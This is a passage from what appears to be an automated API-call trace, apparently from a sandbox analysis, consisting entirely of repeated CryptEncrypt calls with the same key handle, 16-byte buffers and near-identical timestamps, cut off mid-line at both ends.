Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.954] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.955] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.956] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.957] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.958] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, 